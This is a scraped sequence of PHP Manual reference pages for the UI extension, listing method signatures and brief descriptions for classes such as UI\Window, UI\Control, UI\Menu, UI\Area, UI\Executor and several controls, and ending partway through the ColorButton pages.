(PHP 7, UI 0.9.9)

UI\Window::setFullScreen — Full Screen Use

说明

public UI\Window::setFullScreen ( bool $full )

Shall enable or disable the use of the full screen for this Window

Warning

本函数还未编写文档，仅有参数列表。

参数

full

User Contributed Notes

There are no user contributed notes for this page.


Margin Use

  • ? UI\Window::setFullScreen
  • UI\Window::setSize ?
  • PHP Manual
  • UI\Window
  • Margin Use

UI\Window::setMargin

(PHP 7, UI 0.9.9)

UI\Window::setMargin — Margin Use

说明

public UI\Window::setMargin ( bool $margin )

Shall enable or disable the use of margins for this Window

参数

margin

User Contributed Notes

There are no user contributed notes for this page.


Set Size

  • ? UI\Window::setMargin
  • UI\Window::setTitle ?
  • PHP Manual
  • UI\Window
  • Set Size

UI\Window::setSize

(PHP 7, UI 0.9.9)

UI\Window::setSize — Set Size

说明

public UI\Window::setSize ( UI\Size $size )

Shall set the size of this Window

参数

size

返回值

User Contributed Notes

There are no user contributed notes for this page.


Window Title

  • ? UI\Window::setSize
  • UI\Control ?
  • PHP Manual
  • UI\Window
  • Window Title

UI\Window::setTitle

(PHP 7, UI 0.9.9)

UI\Window::setTitle — Window Title

说明

public UI\Window::setTitle ( string $title )

Shall set the title for this Window

参数

title

The new title

User Contributed Notes

There are no user contributed notes for this page.


Control

(PHP 7, UI 0.9.9)

简介

This is the closed base class for all UI Controls.

类摘要

final UI\Control {
/* 方法 */
public destroy ( void )
public disable ( void )
public enable ( void )
public getParent ( void ) : UI\Control
public getTopLevel ( void ) : int
public hide ( void )
public isEnabled ( void ) : bool
public isVisible ( void ) : bool
public setParent ( UI\Control $parent )
public show ( void )
}

Table of Contents

  • UI\Control::destroy — Destroy Control
  • UI\Control::disable — Disable Control
  • UI\Control::enable — Enable Control
  • UI\Control::getParent — Get Parent Control
  • UI\Control::getTopLevel — Get Top Level
  • UI\Control::hide — Hide Control
  • UI\Control::isEnabled — Determine if Control is enabled
  • UI\Control::isVisible — Determine if Control is visible
  • UI\Control::setParent — Set Parent Control
  • UI\Control::show — Control Show

User Contributed Notes

There are no user contributed notes for this page.


Destroy Control

  • ? UI\Control
  • UI\Control::disable ?
  • PHP Manual
  • UI\Control
  • Destroy Control

UI\Control::destroy

(PHP 7, UI 0.9.9)

UI\Control::destroy — Destroy Control

说明

public UI\Control::destroy ( void )

Shall destroy this Control

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Disable Control

  • ? UI\Control::destroy
  • UI\Control::enable ?
  • PHP Manual
  • UI\Control
  • Disable Control

UI\Control::disable

(PHP 7, UI 0.9.9)

UI\Control::disable — Disable Control

说明

public UI\Control::disable ( void )

Shall disable this Control

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Enable Control

  • ? UI\Control::disable
  • UI\Control::getParent ?
  • PHP Manual
  • UI\Control
  • Enable Control

UI\Control::enable

(PHP 7, UI 0.9.9)

UI\Control::enable — Enable Control

说明

public UI\Control::enable ( void )

Shall enable this Control

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get Parent Control

  • ? UI\Control::enable
  • UI\Control::getTopLevel ?
  • PHP Manual
  • UI\Control
  • Get Parent Control

UI\Control::getParent

(PHP 7, UI 0.9.9)

UI\Control::getParent — Get Parent Control

说明

public UI\Control::getParent ( void ) : UI\Control

Shall return the parent Control

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Get Top Level

  • ? UI\Control::getParent
  • UI\Control::hide ?
  • PHP Manual
  • UI\Control
  • Get Top Level

UI\Control::getTopLevel

(PHP 7, UI 0.9.9)

UI\Control::getTopLevel — Get Top Level

说明

public UI\Control::getTopLevel ( void ) : int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Hide Control

  • ? UI\Control::getTopLevel
  • UI\Control::isEnabled ?
  • PHP Manual
  • UI\Control
  • Hide Control

UI\Control::hide

(PHP 7, UI 0.9.9)

UI\Control::hide — Hide Control

说明

public UI\Control::hide ( void )

Shall hide this Control

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Determine if Control is enabled

  • ? UI\Control::hide
  • UI\Control::isVisible ?
  • PHP Manual
  • UI\Control
  • Determine if Control is enabled

UI\Control::isEnabled

(PHP 7, UI 0.9.9)

UI\Control::isEnabled — Determine if Control is enabled

说明

public UI\Control::isEnabled ( void ) : bool

Shall detect if this Control is enabled

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Determine if Control is visible

  • ? UI\Control::isEnabled
  • UI\Control::setParent ?
  • PHP Manual
  • UI\Control
  • Determine if Control is visible

UI\Control::isVisible

(PHP 7, UI 0.9.9)

UI\Control::isVisible — Determine if Control is visible

说明

public UI\Control::isVisible ( void ) : bool

Shall detect if this Control is visible

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set Parent Control

  • ? UI\Control::isVisible
  • UI\Control::show ?
  • PHP Manual
  • UI\Control
  • Set Parent Control

UI\Control::setParent

(PHP 7, UI 0.9.9)

UI\Control::setParent — Set Parent Control

说明

public UI\Control::setParent ( UI\Control $parent )

Shall set the parent Control of this Control

参数

parent

The parent Control

返回值

User Contributed Notes

There are no user contributed notes for this page.


Control Show

  • ? UI\Control::setParent
  • UI\Menu ?
  • PHP Manual
  • UI\Control
  • Control Show

UI\Control::show

(PHP 7, UI 0.9.9)

UI\Control::show — Control Show

说明

public UI\Control::show ( void )

Shall show this Control

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Menu

(PHP 7, UI 0.9.9)

简介

Menus must be constructed before the first Window, and can be shown on any Window

类摘要

UI\Menu {
/* Constructor */
public __construct ( string $name )
/* 方法 */
public append ( string $name [, string $type = UI\MenuItem::class ] ) : UI\MenuItem
public appendAbout ([ string $type = UI\MenuItem::class ] ) : UI\MenuItem
public appendCheck ( string $name [, string $type = UI\MenuItem::class ] ) : UI\MenuItem
public appendPreferences ([ string $type = UI\MenuItem::class ] ) : UI\MenuItem
public appendQuit ([ string $type = UI\MenuItem::class ] ) : UI\MenuItem
public appendSeparator ( void )
}

Table of Contents

  • UI\Menu::append — Append Menu Item
  • UI\Menu::appendAbout — Append About Menu Item
  • UI\Menu::appendCheck — Append Checkable Menu Item
  • UI\Menu::appendPreferences — Append Preferences Menu Item
  • UI\Menu::appendQuit — Append Quit Menu Item
  • UI\Menu::appendSeparator — Append Menu Item Separator
  • UI\Menu::__construct — Construct a new Menu

User Contributed Notes

There are no user contributed notes for this page.


Append Menu Item

  • ? UI\Menu
  • UI\Menu::appendAbout ?
  • PHP Manual
  • UI\Menu
  • Append Menu Item

UI\Menu::append

(PHP 7, UI 0.9.9)

UI\Menu::append — Append Menu Item

说明

public UI\Menu::append ( string $name [, string $type = UI\MenuItem::class ] ) : UI\MenuItem

Shall append a new Menu Item

参数

name

The name (text) for the new item

type

The type for the new item

返回值

A constructed object of the given type

User Contributed Notes

There are no user contributed notes for this page.


Append About Menu Item

  • ? UI\Menu::append
  • UI\Menu::appendCheck ?
  • PHP Manual
  • UI\Menu
  • Append About Menu Item

UI\Menu::appendAbout

(PHP 7, UI 0.9.9)

UI\Menu::appendAbout — Append About Menu Item

说明

public UI\Menu::appendAbout ([ string $type = UI\MenuItem::class ] ) : UI\MenuItem

Shall append an About menu item

参数

type

The type for the new item

返回值

A constructed About menu item of the given type

User Contributed Notes

There are no user contributed notes for this page.


Append Checkable Menu Item

  • ? UI\Menu::appendAbout
  • UI\Menu::appendPreferences ?
  • PHP Manual
  • UI\Menu
  • Append Checkable Menu Item

UI\Menu::appendCheck

(PHP 7, UI 0.9.9)

UI\Menu::appendCheck — Append Checkable Menu Item

说明

public UI\Menu::appendCheck ( string $name [, string $type = UI\MenuItem::class ] ) : UI\MenuItem

Shall append a checkable menu item

参数

name

The name (text) for the new item

type

The type for the new item

返回值

A constructed checkable menu item of the given type

User Contributed Notes

There are no user contributed notes for this page.


Append Preferences Menu Item

  • ? UI\Menu::appendCheck
  • UI\Menu::appendQuit ?
  • PHP Manual
  • UI\Menu
  • Append Preferences Menu Item

UI\Menu::appendPreferences

(PHP 7, UI 0.9.9)

UI\Menu::appendPreferences — Append Preferences Menu Item

说明

public UI\Menu::appendPreferences ([ string $type = UI\MenuItem::class ] ) : UI\MenuItem

Shall append a Preferences menu item

参数

type

The type for the new item

返回值

A constructed Preferences menu item of the given type

User Contributed Notes

There are no user contributed notes for this page.


Append Quit Menu Item

  • ? UI\Menu::appendPreferences
  • UI\Menu::appendSeparator ?
  • PHP Manual
  • UI\Menu
  • Append Quit Menu Item

UI\Menu::appendQuit

(PHP 7, UI 0.9.9)

UI\Menu::appendQuit — Append Quit Menu Item

说明

public UI\Menu::appendQuit ([ string $type = UI\MenuItem::class ] ) : UI\MenuItem

Shall append a Quit menu item

参数

type

The type for the new item

返回值

A constructed Quit menu item of the given type

User Contributed Notes

There are no user contributed notes for this page.


Append Menu Item Separator

  • ? UI\Menu::appendQuit
  • UI\Menu::__construct ?
  • PHP Manual
  • UI\Menu
  • Append Menu Item Separator

UI\Menu::appendSeparator

(PHP 7, UI 0.9.9)

UI\Menu::appendSeparator — Append Menu Item Separator

说明

public UI\Menu::appendSeparator ( void )

Shall append a separator

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Menu

  • ? UI\Menu::appendSeparator
  • UI\MenuItem ?
  • PHP Manual
  • UI\Menu
  • Construct a new Menu

UI\Menu::__construct

(PHP 7, UI 0.9.9)

UI\Menu::__construct — Construct a new Menu

说明

public UI\Menu::__construct ( string $name )

Shall construct a new Menu

参数

name

The name (text) for the menu

User Contributed Notes

There are no user contributed notes for this page.


Menu Item

(PHP 7, UI 0.9.9)

简介

Menu Items should only be created by the Menu

类摘要

UI\MenuItem {
/* 方法 */
public disable ( void )
public enable ( void )
public isChecked ( void ) : bool
protected onClick ( void )
public setChecked ( bool $checked )
}

Table of Contents

  • UI\MenuItem::disable — Disable Menu Item
  • UI\MenuItem::enable — Enable Menu Item
  • UI\MenuItem::isChecked — Detect Checked
  • UI\MenuItem::onClick — On Click Callback
  • UI\MenuItem::setChecked — Set Checked

User Contributed Notes

There are no user contributed notes for this page.


Disable Menu Item

  • ? UI\MenuItem
  • UI\MenuItem::enable ?
  • PHP Manual
  • UI\MenuItem
  • Disable Menu Item

UI\MenuItem::disable

(PHP 7, UI 0.9.9)

UI\MenuItem::disable — Disable Menu Item

说明

public UI\MenuItem::disable ( void )

Shall disable this Menu Item

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Enable Menu Item

  • ? UI\MenuItem::disable
  • UI\MenuItem::isChecked ?
  • PHP Manual
  • UI\MenuItem
  • Enable Menu Item

UI\MenuItem::enable

(PHP 7, UI 0.9.9)

UI\MenuItem::enable — Enable Menu Item

说明

public UI\MenuItem::enable ( void )

Shall enable this Menu Item

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Detect Checked

  • ? UI\MenuItem::enable
  • UI\MenuItem::onClick ?
  • PHP Manual
  • UI\MenuItem
  • Detect Checked

UI\MenuItem::isChecked

(PHP 7, UI 0.9.9)

UI\MenuItem::isChecked — Detect Checked

说明

public UI\MenuItem::isChecked ( void ) : bool

Shall detect if this Menu Item is checked

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


On Click Callback

  • ? UI\MenuItem::isChecked
  • UI\MenuItem::setChecked ?
  • PHP Manual
  • UI\MenuItem
  • On Click Callback

UI\MenuItem::onClick

(PHP 7, UI 0.9.9)

UI\MenuItem::onClick — On Click Callback

说明

protected UI\MenuItem::onClick ( void )

Shall be executed when this Menu Item is clicked

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Checked

  • ? UI\MenuItem::onClick
  • UI\Area ?
  • PHP Manual
  • UI\MenuItem
  • Set Checked

UI\MenuItem::setChecked

(PHP 7, UI 0.9.9)

UI\MenuItem::setChecked — Set Checked

说明

public UI\MenuItem::setChecked ( bool $checked )

Shall set the checked status of this Menu Item

参数

checked

The new status

User Contributed Notes

There are no user contributed notes for this page.


Area

(PHP 7, UI 0.9.9)

简介

An Area represents a canvas which can be used to draw, and respond to mouse and key events.

类摘要

UI\Area extends UI\Control {
/* Constants */
const integer Ctrl ;
const integer Alt ;
const integer Shift ;
const integer Super ;
const integer Down ;
const integer Up ;
/* 方法 */
protected onDraw ( UI\Draw\Pen $pen , UI\Size $areaSize , UI\Point $clipPoint , UI\Size $clipSize )
protected onKey ( string $key , int $ext , int $flags )
protected onMouse ( UI\Point $areaPoint , UI\Size $areaSize , int $flags )
public redraw ( void )
public scrollTo ( UI\Point $point , UI\Size $size )
public setSize ( UI\Size $size )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

预定义常量

UI\Area::Ctrl

Shall be set in the modifiers passed to key and mouse events when the CTRL key is active

UI\Area::Alt

Shall be set in the modifiers passed to key and mouse events when the ALT key is active

UI\Area::Shift

Shall be set in the modifiers passed to key and mouse events when the SHIFT key is active

UI\Area::Super

UI\Area::Down

Shall be set in the modifiers passed to key and mouse events

UI\Area::Up

Shall be set in the modifiers passed to key and mouse events

Table of Contents

  • UI\Area::onDraw — Draw Callback
  • UI\Area::onKey — Key Callback
  • UI\Area::onMouse — Mouse Callback
  • UI\Area::redraw — Redraw Area
  • UI\Area::scrollTo — Area Scroll
  • UI\Area::setSize — Set Size

User Contributed Notes

There are no user contributed notes for this page.


Draw Callback

  • ? UI\Area
  • UI\Area::onKey ?
  • PHP Manual
  • UI\Area
  • Draw Callback

UI\Area::onDraw

(PHP 7, UI 0.9.9)

UI\Area::onDraw — Draw Callback

说明

protected UI\Area::onDraw ( UI\Draw\Pen $pen , UI\Size $areaSize , UI\Point $clipPoint , UI\Size $clipSize )

Shall be invoked when this Area requires redrawing

参数

pen

A Pen suitable for drawing in this Area

areaSize

The size of the Area

clipPoint

The clip point of the Area

clipSize

The clip size of the Area

User Contributed Notes

There are no user contributed notes for this page.


Key Callback

  • ? UI\Area::onDraw
  • UI\Area::onMouse ?
  • PHP Manual
  • UI\Area
  • Key Callback

UI\Area::onKey

(PHP 7, UI 0.9.9)

UI\Area::onKey — Key Callback

说明

protected UI\Area::onKey ( string $key , int $ext , int $flags )

Shall be executed on key events

参数

key

The key pressed

ext

The extended key pressed

flags

Event modifiers

返回值

User Contributed Notes

There are no user contributed notes for this page.


Mouse Callback

  • ? UI\Area::onKey
  • UI\Area::redraw ?
  • PHP Manual
  • UI\Area
  • Mouse Callback

UI\Area::onMouse

(PHP 7, UI 0.9.9)

UI\Area::onMouse — Mouse Callback

说明

protected UI\Area::onMouse ( UI\Point $areaPoint , UI\Size $areaSize , int $flags )

Shall be executed on mouse events

参数

areaPoint

The co-ordinates of the event

areaSize

The size of the area of the event

flags

Event modifiers

User Contributed Notes

There are no user contributed notes for this page.


Redraw Area

  • ? UI\Area::onMouse
  • UI\Area::scrollTo ?
  • PHP Manual
  • UI\Area
  • Redraw Area

UI\Area::redraw

(PHP 7, UI 0.9.9)

UI\Area::redraw — Redraw Area

说明

public UI\Area::redraw ( void )

Requests that this Area is redrawn

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Area Scroll

  • ? UI\Area::redraw
  • UI\Area::setSize ?
  • PHP Manual
  • UI\Area
  • Area Scroll

UI\Area::scrollTo

(PHP 7, UI 0.9.9)

UI\Area::scrollTo — Area Scroll

说明

public UI\Area::scrollTo ( UI\Point $point , UI\Size $size )

Scroll this Area

参数

point

The point to scroll to

size

The size of the scroll pane

User Contributed Notes

There are no user contributed notes for this page.


Set Size

  • ? UI\Area::scrollTo
  • UI\Executor ?
  • PHP Manual
  • UI\Area
  • Set Size

UI\Area::setSize

(PHP 7, UI 0.9.9)

UI\Area::setSize — Set Size

说明

public UI\Area::setSize ( UI\Size $size )

Sets the size of this Area

参数

size

The new size

User Contributed Notes

There are no user contributed notes for this page.


Execution Scheduler

(PHP 7, UI 2.0.0)

简介

This facility schedules repetitive execution of a callback, useful for animations and other such activities.

类摘要

abstract UI\Executor {
/* Constructor */
public __construct ( void )
public __construct ( int $microseconds )
public __construct ( int $seconds , int $microseconds )
/* 方法 */
public kill ( void ) : void
abstract protected onExecute ( void ) : void
public setInterval ( int $microseconds ) : bool
public setInterval ( int $seconds , int $microseconds ) : bool
}

Table of Contents

  • UI\Executor::__construct — Construct a new Executor
  • UI\Executor::kill — Stop Executor
  • UI\Executor::onExecute — Execution Callback
  • UI\Executor::setInterval — Interval Manipulation

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Executor

  • ? UI\Executor
  • UI\Executor::kill ?
  • PHP Manual
  • UI\Executor
  • Construct a new Executor

UI\Executor::__construct

(PHP 7, UI 2.0.0)

UI\Executor::__construct — Construct a new Executor

说明

public UI\Executor::__construct ( void )
public UI\Executor::__construct ( int $microseconds )
public UI\Executor::__construct ( int $seconds , int $microseconds )

Shall construct an executor with the given interval, will not start executing until main loop is entered

参数

seconds

Seconds between executions

microseconds

Microseconds between executions

User Contributed Notes

There are no user contributed notes for this page.


Stop Executor

  • ? UI\Executor::__construct
  • UI\Executor::onExecute ?
  • PHP Manual
  • UI\Executor
  • Stop Executor

UI\Executor::kill

(PHP 7, UI 2.0.0)

UI\Executor::kill — Stop Executor

说明

public UI\Executor::kill ( void ) : void

Shall stop an executor, the executor cannot be restarted

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Execution Callback

  • ? UI\Executor::kill
  • UI\Executor::setInterval ?
  • PHP Manual
  • UI\Executor
  • Execution Callback

UI\Executor::onExecute

(PHP 7, UI 2.0.0)

UI\Executor::onExecute — Execution Callback

说明

abstract protected UI\Executor::onExecute ( void ) : void

Shall be repetitively queued for execution in the main thread

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Interval Manipulation

  • ? UI\Executor::onExecute
  • UI\Controls\Tab ?
  • PHP Manual
  • UI\Executor
  • Interval Manipulation

UI\Executor::setInterval

(PHP 7, UI 2.0.0)

UI\Executor::setInterval — Interval Manipulation

说明

public UI\Executor::setInterval ( int $microseconds ) : bool
public UI\Executor::setInterval ( int $seconds , int $microseconds ) : bool

Shall set the new interval. An interval of 0 will pause the executor until a new interval has been set

参数

seconds

microseconds

返回值

Indication of success

User Contributed Notes

There are no user contributed notes for this page.


Tab Control

(PHP 7, UI 0.9.9)

简介

A Tab can contain many pages of Controls, each with a title, each selectable by the user.

类摘要

UI\Controls\Tab extends UI\Control {
/* 属性 */
protected $controls ;
/* 方法 */
public append ( string $name , UI\Control $control ) : int
public delete ( int $index ) : bool
public hasMargin ( int $page ) : bool
public insertAt ( string $name , int $page , UI\Control $control )
public pages ( void ) : int
public setMargin ( int $page , bool $margin )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

属性

controls

Contains controls, should not be manipulated directly

Table of Contents

  • UI\Controls\Tab::append — Append Page
  • UI\Controls\Tab::delete — Delete Page
  • UI\Controls\Tab::hasMargin — Margin Detection
  • UI\Controls\Tab::insertAt — Insert Page
  • UI\Controls\Tab::pages — Page Count
  • UI\Controls\Tab::setMargin — Set Margin

User Contributed Notes

There are no user contributed notes for this page.


Append Page

  • ? UI\Controls\Tab
  • UI\Controls\Tab::delete ?
  • PHP Manual
  • UI\Controls\Tab
  • Append Page

UI\Controls\Tab::append

(PHP 7, UI 0.9.9)

UI\Controls\Tab::append — Append Page

说明

public UI\Controls\Tab::append ( string $name , UI\Control $control ) : int

Append a new page to this Tab

参数

name

The name for the new page

control

The control for the new page

返回值

Shall return the index of the appended control, may be 0

User Contributed Notes

There are no user contributed notes for this page.


Delete Page

  • ? UI\Controls\Tab::append
  • UI\Controls\Tab::hasMargin ?
  • PHP Manual
  • UI\Controls\Tab
  • Delete Page

UI\Controls\Tab::delete

(PHP 7, UI 0.9.9)

UI\Controls\Tab::delete — Delete Page

说明

public UI\Controls\Tab::delete ( int $index ) : bool

Shall remove the selected page from this Tab

参数

index

The index of the page to remove

返回值

Indication of success

User Contributed Notes

There are no user contributed notes for this page.


Margin Detection

  • ? UI\Controls\Tab::delete
  • UI\Controls\Tab::insertAt ?
  • PHP Manual
  • UI\Controls\Tab
  • Margin Detection

UI\Controls\Tab::hasMargin

(PHP 7, UI 0.9.9)

UI\Controls\Tab::hasMargin — Margin Detection

说明

public UI\Controls\Tab::hasMargin ( int $page ) : bool

Shall detect if the given page has a margin.

参数

page

The index of the page

返回值

User Contributed Notes

There are no user contributed notes for this page.


Insert Page

  • ? UI\Controls\Tab::hasMargin
  • UI\Controls\Tab::pages ?
  • PHP Manual
  • UI\Controls\Tab
  • Insert Page

UI\Controls\Tab::insertAt

(PHP 7, UI 0.9.9)

UI\Controls\Tab::insertAt — Insert Page

说明

public UI\Controls\Tab::insertAt ( string $name , int $page , UI\Control $control )

Shall insert a new page into this Tab

参数

name

The name for the new page

page

The index to perform the insertion before

control

The control for the new page

User Contributed Notes

There are no user contributed notes for this page.


Page Count

  • ? UI\Controls\Tab::insertAt
  • UI\Controls\Tab::setMargin ?
  • PHP Manual
  • UI\Controls\Tab
  • Page Count

UI\Controls\Tab::pages

(PHP 7, UI 0.9.9)

UI\Controls\Tab::pages — Page Count

说明

public UI\Controls\Tab::pages ( void ) : int

Shall return the number of pages in this Tab

参数

此函数没有参数。

返回值

The number of pages in this Tab

User Contributed Notes

There are no user contributed notes for this page.


Set Margin

  • ? UI\Controls\Tab::pages
  • UI\Controls\Check ?
  • PHP Manual
  • UI\Controls\Tab
  • Set Margin

UI\Controls\Tab::setMargin

(PHP 7, UI 0.9.9)

UI\Controls\Tab::setMargin — Set Margin

说明

public UI\Controls\Tab::setMargin ( int $page , bool $margin )

Shall enable or disable margins on the selected page

参数

page

The page to select

margin

Margin switch

User Contributed Notes

There are no user contributed notes for this page.


Check Control

(PHP 7, UI 0.9.9)

简介

A Check is a labelled checkable box

类摘要

UI\Controls\Check extends UI\Control {
/* Constructor */
public __construct ( string $text )
/* 方法 */
public getText ( void ) : string
public isChecked ( void ) : bool
protected onToggle ( void )
public setChecked ( bool $checked )
public setText ( string $text )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

Table of Contents

  • UI\Controls\Check::__construct — Construct a new Check
  • UI\Controls\Check::getText — Get Text
  • UI\Controls\Check::isChecked — Checked Detection
  • UI\Controls\Check::onToggle — Toggle Callback
  • UI\Controls\Check::setChecked — Set Checked
  • UI\Controls\Check::setText — Set Text

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Check

  • ? UI\Controls\Check
  • UI\Controls\Check::getText ?
  • PHP Manual
  • UI\Controls\Check
  • Construct a new Check

UI\Controls\Check::__construct

(PHP 7, UI 0.9.9)

UI\Controls\Check::__construct — Construct a new Check

说明

public UI\Controls\Check::__construct ( string $text )

Shall construct a new Check

参数

text

The text (label) for the Check box

User Contributed Notes

There are no user contributed notes for this page.


Get Text

  • ? UI\Controls\Check::__construct
  • UI\Controls\Check::isChecked ?
  • PHP Manual
  • UI\Controls\Check
  • Get Text

UI\Controls\Check::getText

(PHP 7, UI 0.9.9)

UI\Controls\Check::getText — Get Text

说明

public UI\Controls\Check::getText ( void ) : string

Shall return the text (label) for this Check

参数

此函数没有参数。

返回值

The current text (label)

User Contributed Notes

There are no user contributed notes for this page.


Checked Detection

  • ? UI\Controls\Check::getText
  • UI\Controls\Check::onToggle ?
  • PHP Manual
  • UI\Controls\Check
  • Checked Detection

UI\Controls\Check::isChecked

(PHP 7, UI 0.9.9)

UI\Controls\Check::isChecked — Checked Detection

说明

public UI\Controls\Check::isChecked ( void ) : bool

Shall detect the status of this Check

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Toggle Callback

  • ? UI\Controls\Check::isChecked
  • UI\Controls\Check::setChecked ?
  • PHP Manual
  • UI\Controls\Check
  • Toggle Callback

UI\Controls\Check::onToggle

(PHP 7, UI 0.9.9)

UI\Controls\Check::onToggle — Toggle Callback

说明

protected UI\Controls\Check::onToggle ( void )

Shall be executed when the status of this Check is changed

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Checked

  • ? UI\Controls\Check::onToggle
  • UI\Controls\Check::setText ?
  • PHP Manual
  • UI\Controls\Check
  • Set Checked

UI\Controls\Check::setChecked

(PHP 7, UI 0.9.9)

UI\Controls\Check::setChecked — Set Checked

说明

public UI\Controls\Check::setChecked ( bool $checked )

Shall change the status of this Check

参数

checked

The new status

User Contributed Notes

There are no user contributed notes for this page.


Set Text

  • ? UI\Controls\Check::setChecked
  • UI\Controls\Button ?
  • PHP Manual
  • UI\Controls\Check
  • Set Text

UI\Controls\Check::setText

(PHP 7, UI 0.9.9)

UI\Controls\Check::setText — Set Text

说明

public UI\Controls\Check::setText ( string $text )

Shall set the text (label) for this Check

参数

text

The new text (label)

User Contributed Notes

There are no user contributed notes for this page.


Button Control

(PHP 7, UI 0.9.9)

简介

Represents a labelled clickable button

类摘要

UI\Controls\Button extends UI\Control {
/* Constructor */
public __construct ( string $text )
/* 方法 */
public getText ( void ) : string
protected onClick ( void )
public setText ( string $text )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

Table of Contents

  • UI\Controls\Button::__construct — Construct a new Button
  • UI\Controls\Button::getText — Get Text
  • UI\Controls\Button::onClick — Click Handler
  • UI\Controls\Button::setText — Set Text

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Button

  • ? UI\Controls\Button
  • UI\Controls\Button::getText ?
  • PHP Manual
  • UI\Controls\Button
  • Construct a new Button

UI\Controls\Button::__construct

(PHP 7, UI 0.9.9)

UI\Controls\Button::__construct — Construct a new Button

说明

public UI\Controls\Button::__construct ( string $text )

Shall construct a new Button

参数

text

The text (label) for this Button

User Contributed Notes

There are no user contributed notes for this page.


Get Text

  • ? UI\Controls\Button::__construct
  • UI\Controls\Button::onClick ?
  • PHP Manual
  • UI\Controls\Button
  • Get Text

UI\Controls\Button::getText

(PHP 7, UI 0.9.9)

UI\Controls\Button::getText — Get Text

说明

public UI\Controls\Button::getText ( void ) : string

Shall retrieve the text (label) for this Button

参数

此函数没有参数。

返回值

The current text (label)

User Contributed Notes

There are no user contributed notes for this page.


Click Handler

  • ? UI\Controls\Button::getText
  • UI\Controls\Button::setText ?
  • PHP Manual
  • UI\Controls\Button
  • Click Handler

UI\Controls\Button::onClick

(PHP 7, UI 0.9.9)

UI\Controls\Button::onClick — Click Handler

说明

protected UI\Controls\Button::onClick ( void )

Shall be executed when this Button is clicked

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Set Text

  • ? UI\Controls\Button::onClick
  • UI\Controls\ColorButton ?
  • PHP Manual
  • UI\Controls\Button
  • Set Text

UI\Controls\Button::setText

(PHP 7, UI 0.9.9)

UI\Controls\Button::setText — Set Text

说明

public UI\Controls\Button::setText ( string $text )

Shall set the text (label) for this Button

参数

text

The new text (label)

User Contributed Notes

There are no user contributed notes for this page.


ColorButton Control

(PHP 7, UI 0.9.9)

简介

A Color Button is a button which displays a color picker when clicked

类摘要

UI\Controls\ColorButton extends UI\Control {
/* 方法 */
public getColor ( void ) : UI\Color
protected onChange ( void )
public setColor ( UI\Draw\Color $color )
public setColor ( int $color )
/* 继承的方法 */
public UI\Control::destroy ( void )
public UI\Control::disable ( void )
public UI\Control::enable ( void )
public UI\Control::getParent ( void ) : UI\Control
public UI\Control::getTopLevel ( void ) : int
public UI\Control::hide ( void )
public UI\Control::isEnabled ( void ) : bool
public UI\Control::isVisible ( void ) : bool
public UI\Control::setParent ( UI\Control $parent )
public UI\Control::show ( void )
}

Table of Contents

  • UI\Controls\ColorButton::getColor — Get Color
  • UI\Controls\ColorButton::onChange — Change Handler
  • UI\Controls\ColorButton::setColor — Set Color

User Contributed Notes

There are no user contributed notes for this page.


Get Color

  • ? UI\Controls\ColorButton
  • UI\Controls\ColorButton::onChange ?
  • PHP Manual
  • UI\Controls\ColorButton
  • Get Color

UI\Controls\ColorButton::getColor

(PHP 7, UI 0.9.9)

UI\Controls\ColorButton::getColor — Get Color

说明

public UI\Controls\ColorButton::getColor ( void ) : UI\Color

Shall retrieve the currently selected Color

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Change Handler

  • ? UI\Controls\ColorButton::getColor
  • UI\Controls\ColorButton::setColor ?
  • PHP Manual
  • UI\Controls\ColorButton
  • Change Handler

UI\Controls\ColorButton::onChange

